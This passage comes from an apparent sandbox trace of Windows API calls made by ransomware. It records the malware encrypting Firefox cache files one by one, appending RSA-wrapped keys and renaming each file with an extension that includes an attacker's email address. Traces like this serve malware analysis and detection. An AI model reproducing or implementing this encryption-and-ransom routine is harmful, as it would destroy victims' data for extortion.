(HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0295.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660438 | out: hHeap=0x570000) returned 1 [0295.931] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0295.932] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3747) returned 1 [0295.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xea3) returned 0x3446048 [0295.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xea3) returned 0x2f81868 [0295.932] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xea3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xea3, lpOverlapped=0x0) returned 1 [0297.003] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0297.003] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xea3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xea3, lpOverlapped=0x0) returned 1 [0297.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0297.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0297.003] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xea3 [0297.003] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.003] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.004] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0297.004] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0297.004] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0297.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0297.004] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uP9ZxEWas1LBAJOOMkTWLz3qEn7xID84anJIupFJ+J1wzHWX2axBXHtwff8UAJnZ\ndN+1On0zpFy3azDU+0mk2qliTQDbTycvKHtfh1us6oKK/mowLl+A9hM/+Gnq7ssk\nKOj3eccj9vp+jONCEfZ4D3dTPyiQ/Q0iF8fXZQ+gvgSqN6perVsbM0L1iYhQSTOS\nVW1bYiAMVS5AdCrVzn7T1fFrOZoMJdxqCd6QR3UJ9FC06PWJXaoeOU6H+1m3u+08\n68gvrzMqRo7p1PeIzM10u5TsiCM1vf76kwFQ08Pmm5jEQRbYW56BGCG29Sr2E8B6\nwCO0Ku2QGmY2H71sB+3aUg==\n", pcchString=0x2e3f9a8) returned 1 [0297.004] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0297.004] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.004] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.004] CloseHandle (hObject=0x1b84) returned 1 [0297.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0297.005] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0297.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0297.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0297.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660330 | out: hHeap=0x570000) returned 1 [0297.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660648 | out: hHeap=0x570000) returned 1 [0297.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660648 [0297.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0297.008] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0297.008] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79", dwFileAttributes=0x80) returned 1 [0297.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660330 [0297.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0297.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660330 | out: hHeap=0x570000) returned 1 [0297.009] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0297.009] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3645) returned 1 [0297.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe3d) returned 0x3446048 [0297.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe3d) returned 0x2f81868 [0297.009] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe3d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe3d, lpOverlapped=0x0) returned 1 [0297.367] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0297.367] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xe3d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe3d, lpOverlapped=0x0) returned 1 [0297.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0297.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0297.368] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe3d [0297.368] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.368] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.368] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0297.368] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0297.368] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0297.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0297.368] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="czKWLeX6r6iWiJxfn/SO8C/WTlWXEbO8hc4IOAhSQXSRwH7kMGCtWBePuv9vKATq\nijDya6A7OrRBqKnN0Y3zguwqyTTwNvUvVMuISt9RFV8tF6aC//K1zSNrMQaWS3vw\ninNaFHAaUuilp2Dm3XHGIVChrTqAnT/uZM5Q/KC3UqSWMVd0NigL3VzP1IYKlUVN\nVuJS2pR9ZydndfHJ2wI+Nwq7Su6c35YkCuHCikUc/yZmzUa32YULQ4eZ+tQxKdP9\n5z5gXv0wtdxj+3ZEaqF+/nlMVdPjsobJ4TSG1nbXQ49GIC5MzXxea567dEU89oUT\nNnvWLTMRE3yJglh/k9KhXw==\n", pcchString=0x2e3f9a8) returned 1 [0297.368] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0297.368] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.368] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.368] CloseHandle (hObject=0x1b84) returned 1 [0297.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0297.369] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\019B3F1B091F4BD86F0F05C8D530BC62A1EBCD79.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\019b3f1b091f4bd86f0f05c8d530bc62a1ebcd79.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0297.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0297.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0297.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660648 | out: hHeap=0x570000) returned 1 [0297.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660228 | out: hHeap=0x570000) returned 1 [0297.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660438 [0297.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0297.371] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0297.371] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", dwFileAttributes=0x80) returned 1 [0297.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660228 [0297.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0297.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660228 | out: hHeap=0x570000) returned 1 [0297.371] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0297.372] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3828) returned 1 [0297.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xef4) returned 0x3446048 [0297.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xef4) returned 0x2f81868 [0297.372] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0297.374] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0297.374] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0297.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0297.374] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0297.374] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef4 [0297.374] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.374] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.374] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0297.374] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0297.375] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0297.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0297.375] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="F86tJGomNocj4dVUpqYmnfavmFcMt3ltBDFcFPF6RI9aicyWxeFVCuaEtbjKjpfU\nlZxT83jk0vLKCK3OJrF6CVFkXqTeGjLapnRafmmB3SJEFwAoW6g58brxY+gJ8OGv\nAUc+jKMyP/nTmwVSH2umjHp2ECQHuzRlzDXZPcimA8og0O6SHUOWxTIdlrSPkGub\nJ6qMLXxuEFVFmfYAN7SRG5SQC15m9P/sb8ZSuMXk6FxW0b7VZxvkYiob68zg1deJ\nCMw2Z3ntHogmOJEBgiQdreXs8tLGQQWG+vR4eFfP1RZl3m2zZEIDo2JvxY55nVTj\neG+Aj9Wxe1eqZgfg7/YLIA==\n", pcchString=0x2e3f9a8) returned 1 [0297.375] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0297.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.375] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.375] CloseHandle (hObject=0x1b84) returned 1 [0297.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0297.375] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0297.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0297.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0297.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660438 | out: hHeap=0x570000) returned 1 [0297.377] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660750 | out: hHeap=0x570000) returned 1 [0297.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660228 [0297.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0297.378] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0297.378] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", dwFileAttributes=0x80) returned 1 [0297.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660330 [0297.378] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0297.378] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660330 | out: hHeap=0x570000) returned 1 [0297.378] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0297.379] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19473) returned 1 [0297.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c11) returned 0x343b820 [0297.379] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c11) returned 0x3440440 [0297.379] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x4c11, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x4c11, lpOverlapped=0x0) returned 1 [0297.449] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-19473, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0297.450] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440440*, nNumberOfBytesToWrite=0x4c11, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440440*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4c11, lpOverlapped=0x0) returned 1 [0297.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343b820 | out: hHeap=0x570000) returned 1 [0297.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3440440 | out: hHeap=0x570000) returned 1 [0297.450] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4c11 [0297.450] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.450] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0297.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0297.451] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0297.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0297.451] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="W+FesyCN435pmNTMDWpGBcIOYbsgT2X3Q/QAFq+WeoVbKL61jt24MeuyoHd3o5uM\n8jCnvix8qBlTUJjNZyxQRiY1Kr29dRp9UJvtZtH+ypNZpYX0+Cr4ND8D55tsJnRy\nNl5YpHPv0VfSOJTeXV2AZ0F9fC6wvjUGcMZQqwK3G2w3UPE6qwtu5/omnNRcsw+u\nXxItQoGqXGYMHgqgSVNGGKVRDUxpV+ordTl04ToRJyOCVOjwMoxb/rRfWuklZEAM\ntYBA2v5zt0Dbg9FRmPKVIxziHyepeWpRgK2FVzT4Zgpo5hfw/DRUG2N4v8v4eKmu\nLMdbiL18cdnLCAdLmoHyEw==\n", pcchString=0x2e3f9a8) returned 1 [0297.451] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0297.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.451] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.451] CloseHandle (hObject=0x1b84) returned 1 [0297.451] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0297.451] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0297.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660228 | out: hHeap=0x570000) returned 1 [0297.454] HeapFree (in: 